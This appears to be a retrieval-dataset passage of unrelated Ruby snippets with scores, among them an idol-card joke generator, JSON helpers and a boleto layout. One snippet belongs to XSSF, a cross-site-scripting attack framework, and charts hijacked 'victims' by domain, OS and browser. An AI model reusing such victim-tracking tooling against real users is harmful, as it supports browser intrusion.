\"みんなに「元気でかわいいね」って言われたよ!せんせぇが、わたしのことたくさんほめてくれたからだよね!これからもっと元気でかわいいアイドルになるね!\",\n \"これがアイドル…それにステージ。こんなに生きていると感じられることがあるんだね。ボクはもうあの味をしってしまったから…キミも後戻りはできないよ?\",\n \"本気でなにかを目指したことなかった気がする…。アイドルは私の初めての目標になるのかな。走り出した以上、止まる気はないから。ついてきてね、プロデューサー\",\n \"プロデューサーさん、わかりましたよっ。アイドルはトップアイドルになるんですよねっ。それでプロデューサーさんが…?それで?何するんでしたっけ\",\n \"衣装を着るとこんなに気持ち…変わるんだ。マイクを握ると…チェーンソーを持ってるモンスターみたいに強気で…。夢、見せてあげる。あ、悪夢かもしれないけど…!\",\n \"これがあアタシらしいアイドルの姿!そう、アタシ変わったんだ…!アイドルとして今度は世界を変える歌を歌う!目指すは、ヒーロー番組の主題歌だ!\",\n \"…プロデューサーさんって…本当にプロデューサーだったのですね。…実感はないのですが…アイドルとしての素敵な物語を、記していけたら、と。\",\n \"どうやら目覚めの日が来たようね。これまでの歩みは、ほんの序章。堕天使の衣を得て…いよいよ飛翔のときよ(本気をやるのは、ここからですよね。がんばりまーす!)\",\n \"ふっふっふ、サイキックアイドルの登場です!プロデューサーに、奇跡の瞬間を見せてあげましょう!トップアイドルへ駆け上がる、ミラクルをね!\",\n \"えへへ、どうかな、プロデューサー。私もアイドルになって、元気に磨きがかかっちゃた感じでしょ!この調子でどんどんファンを増やしていこーっ☆\",\n \"私が知らなかった才能を、プロデューサーさんはちゃんと育ててくれたね!だから私も全力で応えたい!ステージで咲いてみせるから…見ててねっ♪\",\n \"にょっわー!わたしのアイドル衣装!もう、きゅんきゅんすぎて、ヤバーい☆うぇへへ…!これでみんなをもーっとハピハピにしちゃおう!\",\n \"よーしっ。いよいよ本番っ、あたしの出番だねっ。みんなからもらっている応援を、わたしはステージでお返しするんだっ、エイ・エイ。オー!\",\n \"わたしほどこの役が似合うアイドルもいないんじゃないかしら。いいわ。このミッション、完璧にこなしてあげる。本気には本気で答える。そういうものよ\",\n \"ラブリーエンジェル・アラモード♪茶目っ気、クセっ毛、オシャっ気。ワガママ気ままで、ありのまま。フレンチ小悪魔、しるぶぷれー?\",\n \"にゃーっはっは!いつもの白衣を着たら抑えられるかなって思ったけど…ムリかも!抑えきれないこのフェロモン…勢いあまってファンに注入〜♪\",\n \"アイドルなんて…夢物語だと思ってた。でもアタシはここにいる。「信じてくれれば夢は叶う」って教えてくれたのはプロデューサーだよ。これからもっと輝くから!\",\n \"このステージはジャールカァ…暑いですね。青空、太陽、それからファンの応援でたくさん…♪私の楽しい声、きっと遠くまで届きますね!\",\n \"ミラクルパーティーのはじまりにゃ〜♪さあネコチャンたち、出ておいでー!星明かりの下で、わたしと朝まで踊り明かすのにゃ〜♪\"],\n \"center\" : [\"再履アイドルのダンスアピール値を90%アップ\",\n \"再履アイドルのビジュアルアピール値を30%アップ\",\n \"再履アイドルのボーカルアピール値を90%アップ\",\n \"再履アイドルのすべてのアピール値を10%アップ\",\n \"履中アイドルのすべてアピール値を90%アップ\",\n \"履中アイドルのダンスアピール値を30%アップ\",\n \"履中アイドルのボーカルアピール値を20%ダウン\",\n \"履中アイドルのダンスアピール値を90%ダウン\",\n \"楽単アイドルのダンスアピール値を40%アップ\",\n \"楽単アイドルのダンスアピール値を90%アップ\",\n \"落単アイドルのすべてのアピール値を100%ダウン\",\n \"落単アイドルのボーカルアピール値を90%アップ\",\n \"特になし\",\n \"すべてのアイドルのすべてのアピール値を30%アップ\"],\n \"skill\" : [\"4秒毎、高確率で、出席していない講義の単位が必ず取れる\",\n \"7秒毎、低確率で、他学部の美少女から挨拶される\",\n \"11秒毎、高確率で、ツイートがバズる\",\n \"5秒毎、高確率で、リフレクションシートが余分にまわってくる\",\n \"8秒毎、低確率で、友人が彼女とイチャつく\",\n \"10秒毎、ごく稀な確率で、耳から千円札が出てくる\",\n \"4秒毎、高確率で、どうでもいい相手からラインが届く\",\n \"6秒毎、高確率で、「もう家に帰りたい」と思う\",\n \"4秒毎、低確率で、休講のお知らせを確認したくなる\",\n \"7秒毎、高確率で、必修の単位を落とす\",\n \"8秒毎、低確率で、卒業を心配される\",\n \"10秒毎、高確率で、将来に不安を抱く\",\n \"14秒毎、低確率で、この娘、自分に気があるんじゃないかと勘違いをする\",\n \"4秒毎、ごく稀な確率で、コメントシートを消しゴムでこすって破く\"]}'\n json = JSON.parse(json)\n @data = {\n vocal: rand(0..6000),\n dance: rand(0..6000),\n visual: rand(0..6000),\n nickname: json[\"nickname\"].sample,\n text: json[\"lines\"].sample,\n center: json[\"center\"].sample,\n skill: json[\"skill\"].sample,\n plus: [\"+\", \"\", \"?\"].sample,\n }\n render layout: 'ds' and return\n end\n render :nothing and return\n end", "title": "" }, { "docid": "a85e3d9dd43bfd4b63fbdbceb84fc25d", "score": "0.4925272", "text": "def neat_data\n {\n \"CCI Custom Scripts\" => {\n \"CachedPropertyUsers(JSON)\" => {\n \"CachedZDPropertyUsers(Filter)\" => \"NEATUserAccessible ZDPropertyUsers(SQL)\"\n }\n },\n \"Zendesk API\" => {\n \"Zendesk\\nOrganizations(JSON)\" => {\n \"NEATUserAccessible ZDPropertyUsers(SQL)\" => {\n \"ZD PropertyUser by ID(SQL)\" => \"Location Details\"\n }\n }\n }\n }\nend", "title": "" }, { "docid": "5b24de06ca34eb07149dd90616a2d5c9", "score": "0.492175", "text": "def build_json(json)\n\t\t\t\tbegin; code = \"\"; \ttable = Hash.new; \tstr = \"\";\tvictims = find_all(XSSF_VICTIM_DB, XSSF_VICTIM_HASH); rescue; end\n\t\t\t\t\n\t\t\t\tcolours = %Q{ \t\"0x336699\", \"0x88AACC\", \"0x999933\", \"0x666699\", \"0xCC9933\", \"0x006666\", \"0x3399FF\", \"0x993300\", \"0xAAAA77\", \"0x666666\", \"0xFFCC66\", \"0x6699CC\",\n\t\t\t\t\t\t\"0x663366\", \"0x9999CC\", \"0xAAAAAA\", \"0x669999\", \"0xBBBB55\", \"0xCC6600\", \"0x9999FF\", \"0x0066CC\", \"0x99CCCC\", \"0x999999\", \"0xFFCC00\", \"0x009999\",\n\t\t\t\t\t\t\"0x99CC33\", \"0xFF9900\", \"0x999966\", \"0x66CCCC\", \"0x339966\", \"0xCCCC33\"\t}\n\t\t\t\tcase json\n\t\t\t\t\twhen /^gr1$/\t\t\t# Active / Non active victims\n\t\t\t\t\t\ttotal = 0;\t\tactive = 0;\n\t\t\t\t\t\t\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\ttotal = count_all(XSSF_VICTIM_DB, XSSF_VICTIM_HASH);\tactive = count_all(XSSF_VICTIM_DB, XSSF_VICTIM_HASH, {\"ACTIVE\" => true})\n\t\t\t\t\t\trescue\n\t\t\t\t\t\t\ttotal = 0;\tactive = 0\n\t\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\t\t\tcode = %Q{ { \t\"elements\": [ { \"type\": \"pie\", \"start-angle\": 50, \"animate\": [ { \"type\": \"fade\" },{ \"type\": \"bounce\", \"distance\": 20 } ],\n\t\t\t\t\t\t\t\t\"on-show\": false, \"gradient-fill\": true, \"colours\" : [\"#00FF00\", \"#FF0000\"], \"tip\": \"#label#\\n#val# of #total# (#percent#)\", \n\t\t\t\t\t\t\t\t\"no-labels\": true, \"values\": [ { \"value\": #{active}, \"label\": \"Connected\", \"label-colour\": \"#00FF00\" }, \n\t\t\t\t\t\t\t\t{ \"value\": #{total - active}, \"label\": \"Disconnected\", \"label-colour\": \"#FF0000\" }] } ], \"bg_colour\" : \"#000000\", \n\t\t\t\t\t\t\t\t\"title\": { \"text\": \"Active victims\", \"style\": \"color: #00EEEE; font-size: 20px\" } }\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^gr2$/\t\t\t# Victims location\n\t\t\t\t\t\tvictims.each do |v|;\tbegin;\ttable[v[XSSF_VICTIM_HASH[\"LOCATION\"]]] ? table[v[XSSF_VICTIM_HASH[\"LOCATION\"]]] += 1 : table[v[XSSF_VICTIM_HASH[\"LOCATION\"]]] = 1;\trescue;\tnext;\tend;\tend\n\n\t\t\t\t\t\ttable.each do |key, value|;\tstr << %Q{ {\"value\" : #{value.to_i}, \"label\": \"#{key.to_s}\", \"on-click\": \"#{key.to_s}\" },};\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tcode = %Q{\t{ \t\"elements\": [ { \"type\": \"pie\", \"start-angle\": 50, \"on-show\": false, \"animate\": [ { \"type\": \"fade\" }, { \"type\": \"bounce\", \"distance\": 20 } ],\n\t\t\t\t\t\t\t\t\t\"colours\" : [#{colours}], \"gradient-fill\": true, \"tip\": \"#label#\\n#val# of #total# (#percent#)\", \"no-labels\": true, \n\t\t\t\t\t\t\t\t\t\"values\": [ #{str[0..-2].to_s} ]}], \"bg_colour\" : \"#000000\", \"title\": { \"text\": \"XSSed domains\", \"style\": \"color: #00EEEE; font-size: 20px\" } }\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\twhen /^gr3$/\t\t\t# Victim OS statistics\n\t\t\t\t\t\tvictims.each do |v|\n\t\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\ttable[v[XSSF_VICTIM_HASH[\"OS_NAME\"]]] = Hash.new if not table[v[XSSF_VICTIM_HASH[\"OS_NAME\"]]]\n\t\t\t\t\t\t\t\ttable[v[XSSF_VICTIM_HASH[\"OS_NAME\"]]][v[XSSF_VICTIM_HASH[\"OS_VERSION\"]]] ? table[v[XSSF_VICTIM_HASH[\"OS_NAME\"]]][v[XSSF_VICTIM_HASH[\"OS_VERSION\"]]] += 1 : table[v[XSSF_VICTIM_HASH[\"OS_NAME\"]]][v[XSSF_VICTIM_HASH[\"OS_VERSION\"]]] = 1\n\t\t\t\t\t\t\trescue;\tnext; end\n\t\t\t\t\t\tend\n\n\n\t\t\t\t\t\ttable.each do |key, value|;\tvalue.each do |k, v|;\tstr << %Q{ {\"value\" : #{v.to_i}, \"label\": \"#{key.to_s} [#{k.to_s}]\" },};\tend;\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tcode = %Q{ { \t\"elements\": [ { \"type\": \"pie\", \"start-angle\": 50, \"on-show\": false, \"animate\": [ { \"type\": \"fade\" }, { \"type\": \"bounce\", \"distance\": 20 } ],\n\t\t\t\t\t\t\t\t\"colours\" : [#{colours}],\"gradient-fill\": true, \"tip\": \"#label#\\n#val# of #total# (#percent#)\", \"no-labels\": true, \n\t\t\t\t\t\t\t\t\"values\": [ #{str[0..-2].to_s} ]}], \"bg_colour\" : \"#000000\", \"title\": { \"text\": \"Operating Systems\", \"style\": \"color: #00EEEE; font-size: 20px\" } }\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^gr4$/\t\t\t\t# Victim browsers statistics\n\t\t\t\t\t\tvictims.each do |v|\n\t\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\ttable[v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]] = Hash.new if not table[v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]]\n\t\t\t\t\t\t\t\ttable[v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]][v[XSSF_VICTIM_HASH[\"BROWSER_VERSION\"]]] ? table[v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]][v[XSSF_VICTIM_HASH[\"BROWSER_VERSION\"]]] += 1 : table[v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]][v[XSSF_VICTIM_HASH[\"BROWSER_VERSION\"]]] = 1\n\t\t\t\t\t\t\trescue;\tnext; end\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\ttable.each do |key, value|;\tvalue.each do |k, v|;\tstr << %Q{ {\"value\" : #{v.to_i}, \"label\": \"#{key.to_s} [#{k.to_s}]\" },};\tend;\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tcode = %Q{ { \t\"elements\": [ { \"type\": \"pie\", \"start-angle\": 50, \"on-show\": false,\t\"animate\": [ { \"type\": \"fade\" }, { \"type\": \"bounce\", \"distance\": 20 } ],\n\t\t\t\t\t\t\t\t\"colours\" : [#{colours}], \"gradient-fill\": true, \"tip\": \"#label#\\n#val# of #total# (#percent#)\", \"no-labels\": true, \n\t\t\t\t\t\t\t\t\"values\": [ #{str[0..-2].to_s} ]}], \"bg_colour\" : \"#000000\", \"title\": { \"text\": \"XSSed browsers\", \"style\": \"color: #00EEEE; font-size: 20px\" } }\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\telse\t\t\t\t\t\t# Victim number evolution for the last 10 days\n\t\t\t\t\t\tt = Time.now; \tmax = 0;\t\n\t\t\t\t\t\t9.downto(0) do |i|;\ttable[t - (i * 86400)] = 0;\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tvictims.each do |v|\n\t\t\t\t\t\t\ttable.each_key do |k|\n\t\t\t\t\t\t\t\ttime = Time.parse(v[XSSF_VICTIM_HASH[\"FIRST_REQUEST\"]])\n\t\t\t\t\t\t\t\ttable[k] += 1 if ((time.year == k.year) and (time.yday == k.yday))\n\t\t\t\t\t\t\t\tmax = table[k] if (table[k] > max)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\ttable.each do |key, value|;\tstr << %Q{ {\"x\" : #{Time.parse(key.to_s).to_i}, \"y\": #{value} },};\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tcode = %Q{ { \"elements\": [ { \"type\": \"scatter_line\", \"colour\": \"#00FF00\", \"width\": 3, \"values\": [ #{str[0..-2].to_s} ], \n\t\t\t\t\t\t\t\"dot-style\": { \"type\": \"hollow-dot\", \"dot-size\": 3, \"halo-size\": 2 } } ], \n\t\t\t\t\t\t\t\"title\": { \"text\": \"Victims number evolution\", \"style\": \"color: #00EEEE; font-size: 20px\" }, \n\t\t\t\t\t\t\t\"x_axis\": {\"colour\": \"#00EEEE\",\"grid-colour\": \"#555555\",\"min\": #{(t - (9 * 86400)).to_i}, \"max\": #{t.to_i}, \"steps\": 86400, \"labels\": { \n\t\t\t\t\t\t\t\t\"text\": \"#date:jS, M Y#\", \"steps\": 86400, \"visible-steps\": 1, \"rotate\": 270, \"colour\" : \"#FFFFFF\" } }, \n\t\t\t\t\t\t\t\"y_axis\": {\"colour\": \"#00EEEE\", \"grid-colour\": \"#555555\",\"min\": 0, \"max\": #{max + 5}, \"steps\": 2, \"labels\": {\"colour\" : \"#FFFFFF\"} },\"bg_colour\":\"#000000\" }\n\t\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn code\n\t\t\tend", "title": "" }, { "docid": "50b7622b886550605ca4af0a321a3d03", "score": "0.4913908", "text": "def nyc_pigeon_organizer(data)\n # write your code here!\n data.each_with_object({}) do |(key, value), final_array|\n value.each do |inner_key, names|\n names.each do |name|\n if !final_array[name]\n final_array[name] = {}\n end\n if !final_array[name][key]\n final_array[name][key] = []\n end\n final_array[name][key].push(inner_key.to_s)\n end\n end\nend \nend", "title": "" }, { "docid": "39e6e5a9a60cc07315b273b46c82e450", "score": "0.49132702", "text": "def sql_data\n sql_data = File.read('sql.json')\n parsed_data = JSON.parse(sql_data)\n parsed_data['SQL']\n i = 0\n while i< parsed_data['SQL'].length\n curriculum = Curriculum.new\n curriculum.url = parsed_data['SQL'][i]['url']\n curriculum.description = parsed_data['SQL'][i]['description']\n curriculum.title = parsed_data['SQL'][i]['title']\n curriculum.curriculum_type = \"SQL\"\n curriculum.save\n i+=1\n end\n end", "title": "" }, { "docid": "359e0762732d8d57b6fa1ae4558d2c0d", "score": "0.49119008", "text": "def data geog_code, geog, stat='.toTable()'\n @json_stats ||={}\n @json_stats[geog_code + geog] ||= OnsOpenApi::request(\"dataset/#{id}\",\n context: context_name,\n geog: geog,\n \"dm/#{geog}\" => geog_code,\n totals: 'false',\n jsontype: 'json-stat')\n\n raw_json_stat = @json_stats[geog_code + geog].gsub(\"\\n\", ' ').gsub(\"'\", \"\").squeeze(' ')\n\n if raw_json_stat.include?('ns1faultstring')\n raise \"ONS Exception: #{raw_json_stat.gsub(/(<.?ns1XMLFault>)|(<.?ns1faultstring>)/,'')}\"\n elsif raw_json_stat.include?('errorMessage')\n raise \"ONS Error: #{raw_json_stat}\"\n end\n\n begin\n table = js_context.eval( %Q| JSONstat( JSON.parse(' #{raw_json_stat} ') ).Dataset(0)#{stat} | )\n rescue Encoding::UndefinedConversionError => e\n if e.to_s[/ASCII-8BIT to UTF-8/]\n raw_json_stat = raw_json_stat.force_encoding('ASCII-8BIT').encode('UTF-8', :invalid => :replace, :undef => :replace, :replace => '?')\n table = js_context.eval( %Q| JSONstat( JSON.parse(' #{raw_json_stat} ') ).Dataset(0)#{stat} | )\n else\n raise \"#{e.to_s}: #{raw_json_stat}\"\n end\n rescue ExecJS::RuntimeError, ExecJS::ProgramError => e\n raise \"#{e.to_s}: #{raw_json_stat}\"\n end\n\n if table.is_a?(Array) && (index = table[1].index('Segment_1'))\n table.each {|row| row.delete_at(index)}\n end\n table\n end", "title": "" }, { "docid": "8e417f7db06acc1690544390571d8cb9", "score": "0.49103242", "text": "def create_children_from_sdd_json(meta, h)\n # Materials should not be import\n return true\n\n # legacy code --\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n # end legacy code\n end", "title": "" }, { "docid": "bacbcc5bc65f4576b7889f40f8a439bb", "score": "0.4898582", "text": "def json\n\n JSON.fast_generate(@gltf)\n\n end", "title": "" }, { "docid": "ed4e80851c6b0e0638de61fd79717635", "score": "0.48950794", "text": "def load_json(filename); end", "title": "" }, { "docid": "f2a0921373da3dfd5011db343915c786", "score": "0.48896933", "text": "def get_json\n html = Nokogiri::HTML(@page)\n text = open(\"https://theintercept.com/api/requestSIDDocuments/?orderBy=publishedTime&orderDirection=desc&perPage=2000\").read\n documents = JSON.parse(text)[\"documents\"][\"edges\"].map{|d| d[\"node\"]}\n \n documents.each do |doc|\n @output.push(parse_json(doc))\n end\n\n return JSON.pretty_generate(@output)\n end", "title": "" }, { "docid": "7b9c0d504f97d1ebe5a734845ea4b5fd", "score": "0.4881066", "text": "def to_json\n {\n id: id.to_s,\n title: title,\n description: description,\n dbpedia_description: dbpedia_description,\n dbpedia_uri: dbpedia_uri,\n en_title: en_title\n }\n end", "title": "" }, { "docid": "6f172da63bd32177c05fb04594f3d30d", "score": "0.48674348", "text": "def build_node_from_model( n )\n return {\n 'id' => n['key'].to_i,\n 'parent_id' => n['parent'].to_i,\n 'children' => [],\n 'weight' => n['weight'].to_i / 100.0,\n 'operation' => n['name'],\n 'metric' => n['dataname']\n }\n end", "title": "" }, { "docid": "66280d403def3404d82ea39150b78e60", "score": "0.48656934", "text": "def test_get_mneme_json_data_todolms\n file_name = \"studenta\"\n file_name = IO.read(\"#{@@testFileDir}/todolms/mneme/#{file_name}.json\")\n refute_nil file_name, \"find test file\"\n jsonA = JSON.parse(file_name)\n refute_nil jsonA, \"check that file contents are understood as json\"\n end", "title": "" }, { "docid": "1ebe542d547a4f602a5097e2d0ce449a", "score": "0.4864609", "text": "def get_json_ld()\n parent_data = {'datePublished' => self.created_at, 'dateModified' => self.updated_at}\n data = []\n if dc_json_lds.size > 0\n dc_json_lds.where(active: true).each do |element|\n dta = element.get_json_ld(parent_data)\n data << dta if dta.size > 0\n end\n end\n data \n end", "title": "" }, { "docid": "c2203ec6bf9e96247fbe68828c06ee6f", "score": "0.4864559", "text": "def modelo_carne_build_data_right(doc, boleto, colunas, linhas)\n # LOGOTIPO do BANCO\n doc.image boleto.logotipo, x: (colunas[2] - 0.11), y: linhas[0]\n\n # Numero do banco\n doc.moveto x: colunas[4], y: linhas[0]\n doc.show \"#{boleto.banco}-#{boleto.banco_dv}\", tag: :grande\n\n # linha digitavel\n doc.moveto x: colunas[6], y: linhas[0]\n doc.show boleto.codigo_barras.linha_digitavel, tag: :media\n\n # local de pagamento\n doc.moveto x: colunas[2], y: linhas[1]\n doc.show boleto.local_pagamento\n\n # vencimento\n doc.moveto x: colunas[11], y: linhas[1]\n doc.show boleto.data_vencimento.to_s_br\n\n # cedente\n doc.moveto x: colunas[2], y: linhas[2]\n doc.show boleto.cedente\n\n # agencia/codigo cedente\n doc.moveto x: colunas[11], y: linhas[2]\n doc.show boleto.agencia_conta_boleto\n\n # data do documento\n doc.moveto x: colunas[2], y: linhas[3]\n doc.show boleto.data_documento.to_s_br if boleto.data_documento\n\n # numero documento\n doc.moveto x: colunas[3], y: linhas[3]\n doc.show boleto.documento_numero\n\n # especie doc.\n doc.moveto x: colunas[8], y: linhas[3]\n doc.show boleto.especie_documento\n\n # aceite\n doc.moveto x: colunas[9], y: linhas[3]\n doc.show boleto.aceite\n\n # dt processamento\n doc.moveto x: colunas[10], y: linhas[3]\n doc.show boleto.data_processamento.to_s_br if boleto.data_processamento\n\n # nosso numero\n doc.moveto x: colunas[11], y: linhas[3]\n doc.show boleto.nosso_numero_boleto\n\n # uso do banco\n ## nada...\n\n # carteira\n doc.moveto x: colunas[3], y: linhas[4]\n doc.show boleto.carteira\n\n # especie\n doc.moveto x: colunas[5], y: linhas[4]\n doc.show boleto.especie\n\n # quantidade\n doc.moveto x: colunas[7], y: linhas[4]\n doc.show boleto.quantidade\n\n # valor documento\n doc.moveto x: colunas[8], y: linhas[4]\n doc.show boleto.valor_documento.to_currency\n\n # valor do documento\n doc.moveto x: colunas[11], y: linhas[4]\n doc.show boleto.valor_documento.to_currency\n\n # Instruções\n doc.moveto x: colunas[2], y: linhas[5]\n doc.show boleto.instrucao1\n doc.moveto x: colunas[2], y: linhas[6]\n doc.show boleto.instrucao2\n doc.moveto x: colunas[2], y: linhas[7]\n doc.show boleto.instrucao3\n doc.moveto x: colunas[2], y: linhas[8]\n doc.show boleto.instrucao4\n doc.moveto x: colunas[2], y: linhas[9]\n doc.show boleto.instrucao5\n doc.moveto x: colunas[2], y: linhas[10]\n doc.show boleto.instrucao6\n\n # Sacado\n doc.moveto x: colunas[2], y: linhas[11]\n if boleto.sacado && boleto.sacado_documento\n doc.show \"#{boleto.sacado} - #{boleto.sacado_documento.formata_documento}\"\n end\n\n # Sacado endereço\n doc.moveto x: colunas[2], y: linhas[12]\n doc.show boleto.sacado_endereco.to_s\n\n # codigo de barras\n # Gerando codigo de barra com rghost_barcode\n if boleto.codigo_barras\n doc.barcode_interleaved2of5(boleto.codigo_barras, width: '10.3 cm', height: '1.2 cm', x: colunas[2],\n y: linhas[14])\n end\n end", "title": "" }, { "docid": "c064532a3551ca5ca9fc187f6341096e", "score": "0.48599187", "text": "def create_children_from_sdd_json(meta, h)\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c064532a3551ca5ca9fc187f6341096e", "score": "0.48599187", "text": "def create_children_from_sdd_json(meta, h)\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c064532a3551ca5ca9fc187f6341096e", "score": "0.48599187", "text": "def create_children_from_sdd_json(meta, h)\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c064532a3551ca5ca9fc187f6341096e", "score": "0.48599187", "text": "def create_children_from_sdd_json(meta, h)\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c064532a3551ca5ca9fc187f6341096e", "score": "0.48599187", "text": "def create_children_from_sdd_json(meta, h)\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the 